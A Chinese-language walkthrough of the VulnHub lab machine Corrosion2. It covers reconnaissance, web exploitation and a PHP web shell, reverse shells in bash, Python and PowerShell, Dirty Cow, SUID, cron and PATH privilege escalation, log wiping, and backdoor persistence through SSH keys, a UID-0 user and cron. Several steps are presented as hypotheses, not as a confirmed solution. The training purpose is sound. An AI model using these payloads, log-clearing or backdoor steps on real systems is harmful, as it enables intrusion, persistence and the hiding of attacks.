从信息收集到权限提升:Corrosion2靶机渗透实战全解析
1. 项目概述从靶机到实战思维的跨越在网络安全的学习路径上很多人都会经历一个从理论到实践的迷茫期。看懂了SQL注入的原理却不知道如何在一个真实的、哪怕只是模拟的环境里找到注入点理解了缓冲区溢出的概念但面对一个二进制程序无从下手。这正是像VulnHub这样的平台存在的价值——它提供了一系列精心设计的、存在已知漏洞的虚拟机镜像我们称之为“靶机”供安全爱好者在一个完全合法的沙箱环境中进行实战演练。今天我们要深入拆解的就是其中一台名为Corrosion2的靶机。Corrosion2并非一个简单的“签到”式靶机它模拟了一个相对真实的网络服务环境渗透路径需要综合运用信息收集、Web应用漏洞利用、权限提升等多种技能。完成它的过程就像完成一次小型的渗透测试项目从外部侦察开始一步步深入内网最终拿到最高权限。这不仅仅是执行几个命令更重要的是理解每一步背后的逻辑为什么要扫描这个端口这个服务版本可能存在什么弱点拿到一个低权限shell后下一步该往哪个方向思考本文将带你完整走通Corrosion2的渗透流程并重点剖析其中关键的提权技巧同时也会分享我在搭建这类实验环境时的一些配置心得确保你能在自己的机器上复现整个实战过程。2. 环境准备与靶机配置详解工欲善其事必先利其器。一个稳定、隔离的实验环境是安全练习的前提。很多人卡在第一步不是因为技术问题而是因为虚拟机网络配置混乱或者靶机无法启动。2.1 攻击机与靶机平台选型通常我们会采用“双虚拟机”架构一台作为攻击机一台作为靶机。攻击机首选Kali Linux因为它预装了绝大多数渗透测试工具从信息收集的Nmap、Dirb到漏洞利用的Metasploit、Sqlmap再到后渗透的Mimikatz、LinPEAS几乎应有尽有。如果你的主机性能足够使用VMware Workstation Pro或VirtualBox同时运行两台虚拟机是最佳选择。对于靶机Corrosion2你需要从VulnHub官网找到它的下载页面。这里有个关键点VulnHub上的靶机镜像格式多为OVA或7z压缩包。下载后如果是OVA文件可以直接通过VMware或VirtualBox的“导入”功能加载它会自动创建一台配置好的虚拟机。我个人的习惯是在导入后立即将虚拟机的网络适配器设置为“NAT模式”或“仅主机模式”。NAT模式下靶机和你的攻击机Kali相当于连接到了同一个虚拟路由器下它们可以互相通信但与外网隔离这是最常用且安全的设置。仅主机模式则创建了一个完全封闭的虚拟网络只有你的主机和虚拟机之间可以通信隔离性更强。注意切勿在桥接模式下运行存在已知高危漏洞的靶机尤其是你的主机连接着公司或校园网时。桥接模式会让靶机获得和你物理机同网段的真实IP其开放的危险服务可能对整个局域网造成安全风险这是极不负责且可能违法的行为。2.2 网络发现与IP定位环境启动后第一个挑战往往是我知道靶机在运行但不知道它的IP地址是什么。这里有几个实用的方法。首先在你的Kali攻击机上使用ifconfig或ip addr命令查看自己的IP地址。例如你的Kali IP是192.168.56.101那么靶机很可能在同一个网段比如192.168.56.0/24。接下来使用Nmap进行存活主机扫描。最快速的方式是使用Ping扫描sudo nmap -sn 192.168.56.0/24这个命令会发送ICMP回声请求列出所有在线的主机。但有些靶机可能禁用了Ping响应。因此更可靠的方法是使用ARP扫描因为它在局域网内无需经过网关且无法被轻易屏蔽sudo netdiscover -r 192.168.56.0/24或者使用Nmap的ARP扫描sudo nmap -PR -sn 192.168.56.0/24通常扫描结果中除了你的Kali和物理主机如果有的话那个陌生的IP就是靶机。记下这个IP我们后续的所有操作都将围绕它展开。假设我们发现的靶机IP是192.168.56.102。3. 全方位信息收集与侦察渗透测试中信息收集的广度与深度直接决定了后续攻击的效率和成功率。对于Corrosion2我们不能一上来就盲目攻击而是要先把它“摸透”。3.1 端口与服务探测使用Nmap进行全面的端口扫描是我们的第一步。我建议分两步走先快速扫描常用端口再针对开放端口进行精细化版本探测。# 第一步快速扫描前1000个常用端口 sudo nmap -sS -T4 192.168.56.102 # 第二步针对发现的开放端口进行详细的版本和服务探测 sudo nmap -sV -sC -O -p 开放的端口列表 192.168.56.102 -oA corrosion2_scan这里解释一下参数-sS: TCP SYN扫描一种半开放扫描速度快且相对隐蔽。-T4: 设置扫描速度为4级共5级在可控环境下可以加快速度。-sV: 探测服务版本。-sC: 使用默认的Nmap脚本进行更深入的探测。-O: 尝试识别操作系统。-p: 指定端口例如如果第一步发现开了22,80端口这里就写-p 22,80。-oA: 将结果以三种格式普通、XML、可读输出到文件便于后续查阅。假设扫描结果显示开放了以下端口22/tcp: OpenSSH 7.6p1 (协议版本可能提示操作系统是Ubuntu)80/tcp: Apache httpd 2.4.29 (服务软件及版本)2112/tcp: 一个未知服务版本信息可能显示为“自定义”或空白。端口80HTTP和2112未知立即引起了我们的兴趣。Web服务通常是突破口而非常规端口2112上运行的服务很可能就是靶机的“特色”所在也是容易出问题的地方。3.2 Web应用目录与文件枚举针对80端口的Web服务我们首先要进行目录爆破寻找隐藏的路径、管理后台、配置文件或脚本文件。常用的工具有Dirb、Dirbuster、Gobuster等。这里以Dirb为例它内置了一个不错的字典。dirb http://192.168.56.102 /usr/share/wordlists/dirb/common.txt -o dirb_scan.txt同时我们一定要手动访问网站http://192.168.56.102用浏览器查看。查看页面源代码寻找注释中的敏感信息如密码、路径、用户名。使用Burp Suite或浏览器开发者工具F12查看网络请求和响应头有时能发现像X-Powered-By: PHP/7.2.24这样的框架信息或者泄露的目录信息。对于2112端口我们同样要用浏览器或curl命令去访问一下curl -v http://192.168.56.102:2112看看它返回什么。是一个Web服务还是一个自定义的TCP服务如果是一个登录界面或任何形式的交互接口我们都需要记录下来作为后续重点分析的对象。4. 漏洞挖掘与初始访问突破信息收集完成后我们就要开始分析攻击面寻找薄弱点。4.1 Web路径漏洞利用实战假设通过目录扫描我们在80端口发现了以下关键路径/admin/ 一个登录后台。/backup/ 目录下列出了一个名为website_backup.zip的文件。/index.php 主站可能存在参数。场景一备份文件泄露/backup/website_backup.zip是一个典型的“备份文件泄露”漏洞。开发者将包含源码甚至配置文件的备份包放在Web可访问目录是极其常见的错误。我们立即下载并解压它wget http://192.168.56.102/backup/website_backup.zip unzip website_backup.zip解压后仔细检查所有文件。重点关注配置文件 如config.php,database.php,.env等里面可能有数据库连接密码。源码文件 查看admin/index.php或login.php审计登录逻辑。是否存在SQL注入密码是否硬编码是否有文件包含漏洞如include($_GET[‘page’])注释信息 源码注释里可能写着测试账号比如// test:test123。在Corrosion2的设定中很可能从这个备份文件中你能找到通往下一个环节的钥匙比如数据库密码、加密的凭据或者隐藏的管理员功能路径。场景二SQL注入攻击如果主站index.php有一个参数比如http://192.168.56.102/index.php?id1我们就要测试SQL注入。手动测试可以在参数后加单引号‘观察页面是否报错或行为异常。curl http://192.168.56.102/index.php?id1如果存在错误可以进一步使用Sqlmap进行自动化注入测试获取数据库信息sqlmap -u http://192.168.56.102/index.php?id1 --batch --dbs--batch参数会让Sqlmap以非交互模式运行自动选择默认选项。--dbs用于枚举数据库。如果成功你可能会看到数据库名接下来可以枚举表、列最终拖取用户表的数据获取登录凭据。4.2 非常规端口服务渗透端口2112是此靶机的关键。访问http://192.168.56.102:2112假设它返回了一个简单的登录框或者一个命令行接口。我们需要用更多工具来探测它。Netcat连接nc 192.168.56.102 2112尝试发送一些随机数据看服务如何响应。有时它会回显一个欢迎信息或提示符。Nmap脚本扫描 使用Nmap的漏洞脚本针对此端口进行深度探测。nmap -sV -p 2112 --script vuln,default,auth 192.168.56.102手动模糊测试 如果它是一个自定义应用可能存在缓冲区溢出。我们可以用Python脚本发送一长串的‘A’字符观察服务是否崩溃。import socket buffer A * 1000 s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((192.168.56.102, 2112)) s.send(buffer.encode()) print(s.recv(1024)) s.close()在Corrosion2中这个端口服务很可能存在某种逻辑漏洞比如认证绕过或者通过发送特定指令能触发命令执行。例如它可能期待接收一个“LOGIN username password”格式的指令但如果我们发送“LOGIN ‘;id;’”而服务端没有做好过滤就可能执行id命令。这就是命令注入漏洞。实操心得在测试未知服务时务必在攻击机本地用tcpdump或Wireshark抓包观察你和靶机之间的原始通信。这能帮你理解协议格式有时比黑盒测试更有效。命令是sudo tcpdump -i vboxnet0 host 192.168.56.102 -w capture.pcap假设你的虚拟网卡是vboxnet0。5. 获取初始Shell与内网站稳脚跟通过上述漏洞比如从备份文件中找到的密码登录了Web后台或者通过2112端口的命令注入我们最终的目标是获得一个反向Shell即在靶机上执行命令让靶机主动连接到我们攻击机监听的一个端口从而我们获得一个交互式的命令行。5.1 反向Shell的建立与管理假设我们在Web应用的文件上传功能处上传了一个包含PHP代码的图片马如shell.jpg.php并且服务器配置错误导致它被当作PHP执行。我们的PHP代码可以是?php system($_GET[‘cmd’]); ?访问http://192.168.56.102/uploads/shell.jpg.php?cmdid就能执行命令。但这只是一个Web Shell功能有限。我们需要一个更稳定的反向Shell。在Kali上先用Netcat监听一个端口nc -lvnp 4444然后通过Web Shell执行命令让靶机连接到我们。由于靶机环境可能受限我们需要根据靶机系统选择不同的Payload。对于Linux靶机# Bash反向Shell bash -c ‘bash -i /dev/tcp/192.168.56.101/4444 01’ # 如果bash不可用用Python python -c ‘import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.56.101”,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([“/bin/sh”,”-i”]);’对于Windows靶机虽然Corrosion2很可能是Linux但作为知识扩展powershell -c “$client New-Object System.Net.Sockets.TCPClient(‘192.168.56.101’,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback ‘PS ‘ (pwd).Path ‘ ‘;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”执行成功后你的Netcat监听端就会获得一个Shell。但这个Shell往往是不稳定的比如按CtrlC会中断而且没有TAB补全等功能。我们需要把它“升级”为一个完全交互式的TTY Shell。5.2 Shell稳定性强化与交互升级在获得的简陋Shell中依次执行以下命令# 1. 使用Python生成一个PTY伪终端 python -c ‘import pty; pty.spawn(“/bin/bash”)’ # 2. 然后按 CtrlZ 将当前会话挂起到后台 # 3. 在Kali本地终端中设置终端类型并接管 stty raw -echo fg # 4. 最后重置终端并设置环境变量 reset export TERMxterm-256color export SHELLbash完成这些步骤后你就获得了一个功能完整的交互式Shell可以正常使用上下键历史记录、TAB补全、文本编辑器等。现在我们算是正式在靶机内部站稳了脚跟。第一个命令永远是whoami和id查看当前用户权限。通常通过Web漏洞获得的Shell权限很低是一个如www-dataWeb服务用户或apache这样的非特权用户。我们的下一个目标就是将自己提升为root用户。6. Linux系统提权深度剖析提权是渗透测试中最考验综合能力和知识储备的环节。它要求你对Linux系统有深入的理解。思路通常分为两大类内核漏洞利用和系统配置错误利用。6.1 自动化信息收集脚本运用在手动检查之前先用自动化脚本快速扫描一遍系统它能高效地发现常见提权向量。最著名的两个工具是LinPEAS和LinEnum。首先在你的Kali上启动一个HTTP服务方便将脚本传输到靶机python3 -m http.server 8000 # 或者用Python2: python -m SimpleHTTPServer 8000然后在靶机的Shell中下载并执行LinPEAScd /tmp wget http://192.168.56.101:8000/linpeas.sh chmod x linpeas.sh ./linpeas.shLinPEAS会运行几分钟输出一份颜色标记的报告红色/黄色代表高危项。它会检查SUID/GUID文件 哪些设置了特殊权限位的可执行文件。内核版本 是否对应存在公开的本地提权漏洞如Dirty Cow。Cron计划任务 是否有全局可写的任务脚本。环境变量PATH是否包含可写目录。sudo权限 当前用户能否以root身份运行特定命令sudo -l。进程与服务 是否有以root权限运行的服务其配置文件是否可写。密码与密钥 在/home目录、/opt、配置文件、历史记录中寻找密码或SSH私钥。仔细阅读LinPEAS的输出任何标红或标黄的地方都是潜在的突破口。6.2 内核漏洞提权实战以Dirty Cow为例如果LinPEAS提示内核版本较旧例如Linux内核版本低于某个特定版本并且提到了“Dirty Cow”CVE-2016-5195那么我们可以尝试利用这个著名的竞争条件漏洞。首先在靶机上确认内核版本uname -a假设版本是Linux corrosion2 4.4.0-21-generic这正在Dirty Cow的影响范围内。接下来我们需要一个 exploit 代码。在Kali上搜索本地提权漏洞利用代码searchsploit dirty cow它会列出可用的利用脚本路径例如/usr/share/exploitdb/exploits/linux/local/40839.c。我们将这个C文件传输到靶机编译并运行。# 在Kali上将exp复制到HTTP服务目录 cp /usr/share/exploitdb/exploits/linux/local/40839.c /var/www/html/ # 确保HTTP服务运行如Apache: sudo systemctl start apache2 # 在靶机上 cd /tmp wget http://192.168.56.101/40839.c gcc 40839.c -o dirtycow -pthread ./dirtycow运行后如果 exploit 成功它会将当前用户加入到/etc/passwd文件中的root组或者创建一个新的具有root权限的用户。根据不同的exp提权方式略有不同请仔细阅读exp源码开头的说明。成功后执行su切换到root或新创建的用户输入密码exp中设定的即可获得root shell。注意事项内核漏洞利用如Dirty Cow有一定风险可能导致系统不稳定甚至崩溃。在真实渗透测试中需谨慎评估最好在获得授权且不影响业务的情况下进行。在VulnHub靶机中则可以放心尝试。6.3 利用配置错误提权SUID与Cron任务如果内核版本较新没有公开漏洞那么配置错误就是我们主要的提权方向。SUID提权 SUIDSet User ID是一种特殊的文件权限它允许用户以文件所有者的权限来执行该文件。例如/bin/passwd的SUID位被设置所有者是root所以普通用户执行它时可以修改自己的密码需要写入/etc/shadow。 查找具有SUID位且所有者是root的可疑文件find / -type f -perm -4000 -user root 2/dev/null常见的、本不该设置SUID位的程序如果出现了就可能被利用。例如find:find . -exec /bin/sh \; -quit可以直接获得root shell。vim/vi: 如果vim有SUID位可以在vim内执行:!sh来启动一个shell。bash: 如果bash有SUID位直接执行bash -p即可获得root权限的bash-p参数表示不重置有效用户ID。cp: 如果cp有SUID位可以覆盖敏感文件如/etc/passwd或/etc/shadow。Cron任务提权 Cron是Linux的定时任务服务。如果有一个以root权限运行的Cron任务并且其执行的脚本或脚本所在目录对当前用户可写我们就可以修改这个脚本植入我们的反向Shell代码。 查找系统Cron任务cat /etc/crontab ls -la /etc/cron.d/ ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/更细致地可以查看每个用户的Cron任务需要相应权限crontab -l # 查看当前用户的 crontab -l -u root # 查看root的需要sudo权限假设我们发现一个任务/usr/local/bin/cleanup.sh每分钟以root身份运行并且这个文件我们www-data用户可以写入。那么echo ‘bash -c “bash -i /dev/tcp/192.168.56.101/5555 01”’ /usr/local/bin/cleanup.sh chmod x /usr/local/bin/cleanup.sh然后在Kali上监听5555端口等待一分钟后就会收到来自靶机root权限的反向Shell。6.4 利用环境变量PATH提权这是一种相对隐蔽但有效的提权方式。如果有一个SUID程序它在内部调用了另一个命令比如system(“ls”)但没有使用绝对路径/bin/ls那么系统就会去PATH环境变量指定的目录中寻找ls。 我们可以通过控制PATH让这个SUID程序执行我们自己的恶意ls。首先找到一个SUID程序用strings或ltrace分析它调用了哪些命令。strings /usr/local/bin/suid_program | grep -E “system|exec|popen”如果发现它调用了service假设路径是service而不是/usr/sbin/service我们就可以进行劫持。创建一个名为service的恶意脚本#!/bin/bash /bin/bash -p将这个脚本放在一个我们有写权限的目录比如/tmp并添加执行权限。echo ‘#!/bin/bash’ /tmp/service echo ‘/bin/bash -p’ /tmp/service chmod x /tmp/service修改当前用户的PATH环境变量将/tmp放在最前面。export PATH/tmp:$PATH运行那个SUID程序。当它尝试执行service时会优先找到/tmp/service并执行从而给我们一个root shell。7. 后渗透清理与痕迹管理在成功提权为root后渗透测试并未完全结束。一个专业的渗透测试者还需要考虑如何清理痕迹在获得授权的前提下以及如何巩固访问权限。7.1 日志清理与历史记录清除Linux系统会记录大量日志我们的操作很可能被记录在案。主要需要关注的日志文件有/var/log/auth.log或/var/log/secure: 记录认证信息SSH登录、sudo使用等。/var/log/apache2/access.log和error.log: 记录Web访问日志。/var/log/syslog: 系统通用日志。~/.bash_history: 当前用户的命令历史记录。清理这些日志需要root权限。但请注意在真实授权的渗透测试中是否清理日志需严格遵守测试协议Rules of Engagement。在VulnHub练习中我们可以操作以学习方法。# 清空日志文件内容注意直接删除文件会引起怀疑 echo ‘’ /var/log/auth.log echo ‘’ /var/log/apache2/access.log # 更多日志文件... # 清除当前root用户的命令历史 history -c # 或者直接清空历史记录文件 echo ‘’ ~/.bash_history # 还要清除其他可能存在的shell历史如zsh的 .zsh_history更隐蔽的做法不是清空而是有选择地删除与我们IP或用户名相关的特定行这需要用到sed等文本处理工具。7.2 创建持久化后门为了在靶机重启或我们连接断开后还能维持访问需要创建后门。方法有很多添加SSH密钥 将我们的公钥添加到root用户的authorized_keys文件中。echo ‘ssh-rsa AAAAB3NzaC1yc2E...你的公钥内容’ /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys之后就可以直接用私钥SSH登录rootssh -i id_rsa root192.168.56.102。创建特权用户 直接在/etc/passwd文件中添加一个UID为0root的用户。# 生成一个密码为’toor’的加密字符串 openssl passwd -1 -salt xyz toor # 输出类似$1$xyz$U9tLZRDL7qEoF6v.6b6Bk1 # 在/etc/passwd末尾添加一行 echo ‘backdoor:$1$xyz$U9tLZRDL7qEoF6v.6b6Bk1:0:0:root:/root:/bin/bash’ /etc/passwd现在就可以用用户名backdoor密码toor进行SSH或su登录了。Cron持久化 添加一个每分钟运行的Cron任务持续回连我们的监听端。(crontab -l 2/dev/null; echo “* * * * * /bin/bash -c ‘bash -i /dev/tcp/192.168.56.101/6666 01’”) | crontab -在Kali上持续监听6666端口即可。8. 渗透流程复盘与防御思考完成整个Corrosion2靶机的渗透后我们有必要从防御者的角度进行复盘思考如何避免这些安全问题。攻击链复盘信息泄露 备份文件website_backup.zip被放置在Web目录下。防御措施严禁将源码、配置文件、备份文件存放在Web可访问路径。构建和部署流程应自动化避免手动操作遗留文件。服务配置不当 2112端口的自定义服务存在命令注入漏洞。防御措施对所有用户输入进行严格的过滤和验证使用白名单机制。避免使用system()、exec()等危险函数直接执行用户输入。权限提升 系统内核未及时更新存在Dirty Cow漏洞或者存在配置错误的SUID文件、不安全的Cron任务。防御措施及时更新 定期更新操作系统和软件包修补已知漏洞。权限最小化 定期审计SUID/GUID文件移除不必要的特殊权限。使用find / -type f -perm /6000定期检查。Cron任务审计 确保Cron任务脚本的权限设置正确避免全局可写。使用ls -lR /etc/cron* /var/spool/cron进行审计。强化环境变量 在SUID/SGID程序中或在服务启动脚本中显式设置安全的PATH环境变量。渗透测试思维培养 通过Corrosion2这样的靶机练习我们培养的是一种系统性的“攻击者思维”。它要求我们耐心与细致 不放过任何一点信息一个不起眼的端口、一个注释、一个js文件都可能成为突破口。联想与串联 将分散的信息点串联起来。从备份文件中找到的密码可能用于SSH登录从Web漏洞中获得的低权限Shell需要结合系统信息寻找提权路径。工具与手动结合 自动化工具如LinPEAS能提高效率但手动分析和理解漏洞原理才是根本。不要成为只会运行脚本的“脚本小子”。最后关于环境配置我个人的体会是在本地用虚拟机搭建靶场是最稳妥的方式。如果遇到网络问题导致靶机无法获取IP可以检查虚拟机的网络适配器设置确保是NAT或仅主机模式并尝试在靶机内手动重启网络服务sudo systemctl restart networking或sudo dhclient。对于更复杂的网络拓扑学习可以尝试使用GNS3或EVE-NG来模拟多台设备组成的网络但那需要更多的网络知识储备。从像Corrosion2这样的单一靶机开始扎实走通“信息收集-漏洞利用-权限提升-后渗透”的完整流程是构建你网络安全实战能力最坚实的第一步。